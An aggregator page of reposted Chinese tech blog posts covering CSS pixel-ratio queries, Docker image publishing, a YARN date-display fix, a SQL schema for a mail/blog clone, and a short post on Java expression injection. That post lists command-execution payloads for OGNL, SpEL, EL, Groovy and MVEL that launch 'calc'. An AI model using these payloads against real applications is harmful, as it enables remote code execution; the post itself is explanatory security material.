首页 文章 精选 留言 我的

精选列表

搜索[Web安全],共10000篇文章
优秀的个人博客,低调大师

【转】WEB APP 不同设备屏幕下图片适应分辨率

约翰·格鲁伯:我认为 MobileSafari 不会再逐点对应的渲染图片,因为新旧 iPhone 之间的像素尺寸极为悬殊。 戴夫·海厄特:大多数设计师仍停留在传统的思想:CSS 像素即屏幕像素。然而,当我们进入高 DPI 的世界,用户界面可能被整体放大,一个 CSS 像素会占据多个屏幕像素。 IPHONE 3和 IPHONE 4是最典型的了,图片或ICON,在IPHONE 3能清晰显示的时候,IPHONE 4却会变的很模糊,无奈,只能准备两套图了。好在CSS提供的Media属性,能方便的让我们识别出不同DPI的设备,并以此来应用不同的样式。 首先,看看,常见的IPHONE和 Android屏幕参数。 设备 分辨率 设备像素比率 Android LDPI 320×240 0.75 Iphone 3 & Android MDPI 320×480 1 Android HDPI 480×800 1.5 Iphone 4 960×640 2.0 由此可见,Iphone 4的一个 CSS 像素实际上表现为一块 2×2 的像素。所以图片像是被放大2倍一样,模糊不清晰。 解决办法: 1、页面引用 <link rel="stylesheet" media="screen and (-webkit-device-pixel-ratio: 0.75)" href="ldpi.css" /> <link rel="stylesheet" media="screen and (-webkit-device-pixel-ratio: 1.0)" href="mdpi.css" /> <link rel="stylesheet" media="screen and (-webkit-device-pixel-ratio: 1.5)" href="hdpi.css" /> <link rel="stylesheet" media="screen and (-webkit-device-pixel-ratio: 2.0)" href="retina.css" /> 2、CSS文件里 #header { background:url(mdpi/bg.png); } @media screen and (-webkit-device-pixel-ratio: 1.5) { /*CSS for high-density screens*/ #header { background:url(hdpi/bg.png); } } 注:本文转自http://bbs.blueidea.com/home.php?mod=space&uid=168495&do=blog&id=23366 本文转自Artwl博客园博客,原文链接:http://www.cnblogs.com/artwl/,如需转载请自行联系原作者

优秀的个人博客,低调大师

Docker基于已有的镜像制新的镜像-Docker for Web Developers(3)

1.根据运行的容器制作镜像 #查看所有的容器 docker ps #暂停当前容器 docker pause COTNAINER-ID #将容器运行当前状态提交 docker commit COTNAINER-ID #根据COMMIT-ID打包容器Tag docker tag COMMIT-ID 经过以上几个步骤,根据当前运行的容器制作镜像就完成了。 2.上传镜像到Docker Hub 如果未登录Docker Hub,需要登录Docker Hub docker login #输入用户名和密码 推送镜像到Docker Hub docker push IMAGE-NAME 运行结果如下图所示: 在Docker Hub上可以查看到我们刚刚上传的镜像文件,因为这个镜像是公开的,所以现在所有人都能够docker pull获取该镜像。 3.获取上传的镜像并运行 因为我使用的是同一台Ubuntu机器,我本地已经有了bage88/firstimage这个镜像,我先要删除该镜像,然后再获取。 3.1 删除镜像 #### 删除镜像 docker rmi IMAGE_NAME 提示如下错误,有基于该镜像的容器在运行,所以我先要删除这个容器,再删除镜像。 Error response from daemon: conflict: unable to remove repository reference "bage88/firstimage" (must force) - container 25dca6040e7e is using its referenced image 31758d7d9e60 3.2 删除容器 docker rm 25dca6040e7e(这个是容器ID) 再执行一次删除镜像命令: docker rmi bage88/firstimage ###结果如下,说明删除镜像成功 Untagged: bage88/firstimage:latest Untagged: bage88/firstimage@sha256:dc8a6511903cdcd25cf2d9de76a1c9ba21c050bb7702525fb3e1ba0168071481 Deleted: sha256:31758d7d9e60b3c77bad4f477faae5e9dc87d3d5d16a085263f2f6de58a381ad Deleted: sha256:77757027951c22c480289ef98c6109c6d7df4e0bae9bda5db1e43436159de9e5 3.3 获取镜像 docker pull bage88/firstimage 3.4 运行镜像 docker run -d -p 8010:80 bage88/firstimage 查看结果: 本文转自快乐八哥博客园博客,原文链接http://www.cnblogs.com/liminjun88/p/6839198.html如需转载请自行联系原作者 快乐八哥

优秀的个人博客,低调大师

修改yarn监控web页面上展示的StartFime和FinishTime【GMT时间】

应用场景 当部署好hadoop集群后,搭建了YARN集群,开启了hadoop的HDFS和YARN服务,访问主节点IP和8088端口的YARN监控界面,发现这个All Applications界面中的开始执行时间和结束执行时间不对,应该往后加8个小时才对,导致在页面中对任务监控的时候容易出错,所以现在要进行修改! 操作步骤 错误显示如上图,如果正确的话,应该加上8小时,才是我应该想要的时间。 将hadoop-yarn-common-2.6.0.jar这个包下载到本地 该包在您安装的hadoop目录中的【/opt/hadoop2.6.0/share/hadoop/yarn】目录中! 然后进入到包中,找到webapps/static/yarn.dt.plugins.js,修改yarn.dt.plugins.js 按照下面修改步骤,修改完后,替换之前的jar包即可! 修改步骤1. 在yarn.dt.plugins.js文件中添加如下代码 Date.prototype.Format = function (fmt) { //author: meizz var o = { "M+": this.getMonth() + 1, //月份 "d+": this.getDate(), //日 "h+": this.getHours(), //小时 "m+": this.getMinutes(), //分 "s+": this.getSeconds(), //秒 "q+": Math.floor((this.getMonth() + 3) / 3), //季度 "S": this.getMilliseconds() //毫秒 }; if (/(y+)/.test(fmt)) fmt = fmt.replace(RegExp.$1, (this.getFullYear() + "").substr(4 - RegExp.$1.length)); for (var k in o) if (new RegExp("(" + k + ")").test(fmt)) fmt = fmt.replace(RegExp.$1, (RegExp.$1.length == 1) ? (o[k]) : (("00" + o[k]).substr(("" + o[k]).length))); return fmt; }; 修改步骤2. 找到函数renderHadoopDate,修改为如下内容: function renderHadoopDate(data, type, full) { if (type === 'display' || type === 'filter') { if(data === '0'|| data === '-1') { return "N/A"; } return new Date(parseInt(data)).Format("yyyy-MM-dd hh:mm:ss"); } // 'sort', 'type' and undefined all just use the number // If date is 0, then for purposes of sorting it should be consider max_int return data === '0' ? '9007199254740992' : data; } 修改后效果

优秀的个人博客,低调大师

一种新的攻击方法——Java Web表达式注入

【转】http://blog.csdn.net/kk_gods/article/details/51840683 1 2 3 4 5 java--Groovy命令执行: static void main(args){ defcmd= "calc" ; println "${cmd.execute()}" ; } 1 2 3 4 5 struts2--OGNL命令执行: ActionContextAC=ActionContext.getContext(); MapParameters=(Map)AC.getParameters(); Stringexpression= "${(newjava.lang.ProcessBuilder('calc')).start()}" ; AC.getValueStack().findValue(expression)); 1 2 3 spring--SPEL命令执行: Stringexpression= "T(java.lang.Runtime).getRuntime().exec(/" calc/ ")" ; Stringresult=parser.parseExpression(expression).getValue().toString(); 1 2 3 4 JSP--JSTL_EL命令执行 <spring:messagetext= "${/" / ".getClass().forName(/" java.lang.Runtime/ ").getMethod(/" getRuntime/ ",null).invoke(null,null).exec(/" calc/ ",null).toString()}" > </spring:message> 1 2 3 4 5 6 7 8 Elasticsearch——MVEL java import org.mvel.MVEL; public class MVELTest{ public static void main(String[]args){ Stringexpression= "newjava.lang.ProcessBuilder(/" calc/ ").start();" ; Booleanresult=(Boolean)MVEL.eval(expression,vars); } } 本文转自fatshi51CTO博客,原文链接:http://blog.51cto.com/duallay/1957765,如需转载请自行联系原作者

优秀的个人博客,低调大师

web-3g-163(网易)-邮箱和博客-数据架构设计

专题图编号:ylbtechASPNET 1,功能描述 2,技术与环境 3,数据库设计 3g163EMail.sql USE MASTER go -- ============================================= -- ylb: 3g版网易邮箱 -- url: http://m.mail.163.com/ -- devloper:ylb,tech -- author: YuanBo -- date: 11:11 2012-07-05 -- ============================================= IF EXISTS ( SELECT * FROM master..sysdatabases WHERE name = N '_3g163EMail' ) DROP DATABASE _3g163EMail GO CREATE DATABASE _3g163EMail GO USE _3g163EMail GO -- ============================================= -- ylb: 1.1邮箱帐户表 -- ============================================= create table MailUsers ( mailUser varchar (100) primary key , --帐号名称[PK] pwd varchar (100) not null --密码 ) /1, 3g163EMail/1, MailUsers.sql View Code 3,数据库设计 2, 3g163Blog.sql USE MASTER go -- ============================================= -- ylb: 3g版网易博客 -- url: http://3g.163.com/blog/ -- devloper:ylb,tech -- author: YuanBo -- date: 11:11 2012-07-05 -- ============================================= IF EXISTS ( SELECT * FROM master..sysdatabases WHERE name = N '_3g163Blog' ) DROP DATABASE _3g163Blog GO CREATE DATABASE _3g163Blog GO USE _3g163Blog GO --ylb:1, 用户 GO -- ============================================= -- ylb: 1.1,用户基本资料表 -- ============================================= create table Users ( userId int primary key identity(100,1), --编号【PK】 nickname varchar (200) not null , --昵称 realname varchar (200) null , --真实姓名 sex char (1) check (sex in ( 'M' , 'F' , 'N' )) default ( 'N' ), --性别M:男;F:女;N:未知 birthday datetime, --生日 constellation int , --星座 province varchar (100), --现居住地-省 city varchar (100), --现居住地-市 county varchar (100), --现居住地-县 mailUser varchar (100) not null --用户账号[FP], 于网易登录系统MailUser表的mailUser列相关 ) GO -- ============================================= -- ylb: 1.2,博客统计表 -- ============================================= create table BlogStatistics ( blogStatisticsId int primary key identity(100,1), --编号【PK】 todayAccessNo int default (0), --今日访问量 sunAccessNo int default (0), --总访问量 integral int default (0), --博客等级 userId int references Users(userId) --积分【FK】 ) --ylb:2,日志 GO -- ============================================= -- ylb: 2.1,日志分类表 -- ============================================= create table BlogClass ( blogClassId int primary key identity(100,1), --编号【PK】 className varchar (100) not null , --分类名称 userId int references Users(userId) --用户编号【FK】 ) GO -- ============================================= -- ylb: 2.2,日志表 -- ============================================= --drop table Article create table Article ( articleId int primary key identity(1,1), --编号【PK】 title varchar (200) not null , --标题 content varchar (5000), --内容 blogClassId int references BlogClass(blogClassId), --分类编号【FK】 pubdate datetime default (getdate()), --分布日期 readCnt int default (0), --阅读数量 replyCnt int default (0), --回复数量 allowView int default (0), --显示范围权限 -100:公开;100:好友;1000:私人 draftFlag int default (0), --0:发送;1:保存草稿 userId int references Users(userId) --用户编号[FK] ) GO -- ============================================= -- ylb: 2.3,日志评论表 -- ============================================= create table ArticleReply ( articleReplyId int primary key identity(100,1), --编号【PK】 content varchar (200) not null , --内容 pubdate datetime default (getdate()), --回复时间 userId int references Users(userId), --回复人,用户编号【FK】 articleId int references Article(articleId) --文章编号[FK] ) --ylb:3, 相册 GO -- ylb: 3.1 相册类别表 -- ============================================= -- ylb: 3.1.1 相册类别表 -- ============================================= create table Album ( albumId int primary key identity(1,1), --编号【PK】 albumName varchar (100) not null , --相册名 pubdate datetime default (getdate()), --创建时间 userId int references Users(userId), --用户编号【PF】 albumUrl varchar (100) --封面图片 ) GO -- ============================================= -- ylb: 3.1.2 相册类别评论表 -- ============================================= create table ReplyAlbum ( replyAlbumId int primary key identity(100,1), --编号 content varchar (200) not null , --评论内容 pubdate datetime default (getdate()), --评论时间 baseId int default (0), --评论级次 0:发表;其他:回复|跟贴 albumId int references Album(albumId), --相册编号[FK] userId int references Users(userId) --用户编号[FK] ) -- ylb: 3.2 相册表 GO -- ============================================= -- ylb: 3.2.1 相册表 -- ============================================= create table Photo ( photoId int primary key identity(100,1), --编号【PK】 imgUrl varchar (100), --保存地址 imgDesc varchar (100), --描述 [注:3g版不显示] albumId int references Album(albumId), --相册编号[FK] userId int references Users(userId) --用户编号[FK] 有争议 ) GO -- ============================================= -- ylb: 3.2.2 相册评论表 -- ============================================= create table ReplyPhoto ( replyPhotoId int primary key identity(100,1), --编号 content varchar (200) not null , --评论内容 pubdate datetime default (getdate()), --评论时间 baseId int default (0), --评论级次 0:发表;其他:回复|跟贴 photoId int references Photo(photoId), --照片编号[FK] userId int references Users(userId) --用户编号[FK] ) GO -- ============================================= -- ylb: 4,博友组表 -- ============================================= create table FriendsGroup ( friendsGroupId int primary key identity(100,1), --编号【PK】 friendsGroupName varchar (100), --组名 userId int references Users(userId) --用户编号【FK】 ) GO -- ============================================= -- ylb: 4,博友表 -- ============================================= create table Friend ( friendId int references Users(userId), --编号 userId int references Users(userId), --用户编号 pubdate datetime default (getdate()), --加添时间 friendsGroupId int references FriendsGroup(friendsGroupId) --好友分组【FK】 ) -- ylb: 5,消息 GO -- ============================================= -- ylb: 5, 消息表 -- ============================================= create table Msg ( msgId int primary key identity(100,1), --编号【PK】 inUserId int references Users(userId), --接受用户编号【FK】 sendUserId int references Users(userId), --发送用户编号【FK】 content varchar (200), --内容 pubdate datetime default (getdate()) --发送时间 ) GO -- ============================================= -- ylb: 6, 留言表 -- ============================================= create table Note ( noteId int primary key identity(1,1), --编号 content varchar (200), --内容 pubdate datetime default (getdate()), --时间 inUserId int , --主人编号 sendUserid int --发送人编号 ) GO -- ============================================= -- ylb: 7, 通知表 -- ============================================= create table Notice ( noticeId int primary key identity(1,1), --编号 content varchar (200), --内容 pubdate datetime default (getdate()), --时间 remark varchar (200), --备注 inUserId int --主人编号 ) GO -- ============================================= -- ylb: 7, 最近访客 -- ============================================= create table RecentVisitor ( recentVisitorId int primary key identity(1,1), --编号 hostId int , --主人编号 visitId int , --来访者编号 pubdate datetime default (getdate()) --时间 ) GO -- ============================================= -- ylb: 7, 最近走访 -- ============================================= create table RecentVisited ( recentVisitedId int primary key identity(1,1), --编号 hostId int , --主人编号 visitId int , --来访者编号 pubdate datetime default (getdate()) --时间 ) GO -- ============================================= -- ylb: 7, 最近走访 -- ============================================= create table RecentVisit ( recentVisitId int primary key identity(1,1), --编号 hostId int , --主人编号 visitId int , --来访者编号 pubdate datetime default (getdate()), --时间 type varchar (100) --类型 ) GO -- ============================================= -- ylb: 8, 心情随笔 -- ============================================= create table Feeling ( feelingId int primary key identity(1,1), --编号 content varchar (200), --内容 pubdate datetime default (getdate()), --时间 baseId int , --baseId=0:首发;baseId=num:则恢复 userId int --用户编号 ) GO print '网易博客数据创建完成' /2, 3g163Blog/1, Users.sql View Code /2, 3g163Blog/2, BlogClass.sql View Code /2, 3g163Blog/3, Article.sql View Code /2, 3g163Blog/4, ArticleReply.sql View Code /2, 3g163Blog/5, Album.sql View Code /2, 3g163Blog/5, Photo.sql View Code /2, 3g163Blog/7, ReplyAlbum.sql View Code /2, 3g163Blog/8, ReplyPhoto.sql View Code /2, 3g163Blog/9, Note.sql View Code /2, 3g163Blog/10,Notice.sql View Code /2, 3g163Blog/11,Feeling.sql View Code /2, 3g163Blog/12, RecentVisit.sql View Code /2, 3g163Blog/13, FriendsGroup.sql View Code /2, 3g163Blog/14,Friend.sql View Code /2, 3g163Blog/ 4.1,前台 5,代码分析 解决方案属性图 6,示例|讲解案例下载 博客园讲解:http://ylbtech.cnblogs.com/ 百度文库开发文档:http://passport.baidu.com/?business&aid=6&un=ylbtech#7 谷歌开源代码下载:http://code.google.com/p/ylbtechopensource/downloads/list 请单击“搜索框设默认DropDown” 本文转自ylbtech博客园博客,原文链接:http://www.cnblogs.com/ylbtech/archive/2012/09/05/2672244.html,如需转载请自行联系原作者

资源下载

更多资源
Mario

Mario

马里奥是站在游戏界顶峰的超人气多面角色。马里奥靠吃蘑菇成长,特征是大鼻子、头戴帽子、身穿背带裤,还留着胡子。与他的双胞胎兄弟路易基一起,长年担任任天堂的招牌角色。

腾讯云软件源

腾讯云软件源

为解决软件依赖安装时官方源访问速度慢的问题,腾讯云为一些软件搭建了缓存服务。您可以通过使用腾讯云软件源站来提升依赖包的安装速度。为了方便用户自由搭建服务架构,目前腾讯云软件源站支持公网访问和内网访问。

Nacos

Nacos

Nacos /nɑ:kəʊs/ 是 Dynamic Naming and Configuration Service 的首字母简称,一个易于构建 AI Agent 应用的动态服务发现、配置管理和AI智能体管理平台。Nacos 致力于帮助您发现、配置和管理微服务及AI智能体应用。Nacos 提供了一组简单易用的特性集,帮助您快速实现动态服务发现、服务配置、服务元数据、流量管理。Nacos 帮助您更敏捷和容易地构建、交付和管理微服务平台。

Sublime Text

Sublime Text

Sublime Text具有漂亮的用户界面和强大的功能,例如代码缩略图,Python的插件,代码段等。还可自定义键绑定,菜单和工具栏。Sublime Text 的主要功能包括:拼写检查,书签,完整的 Python API , Goto 功能,即时项目切换,多选择,多窗口等等。Sublime Text 是一个跨平台的编辑器,同时支持Windows、Linux、Mac OS X等操作系统。

用户登录
用户注册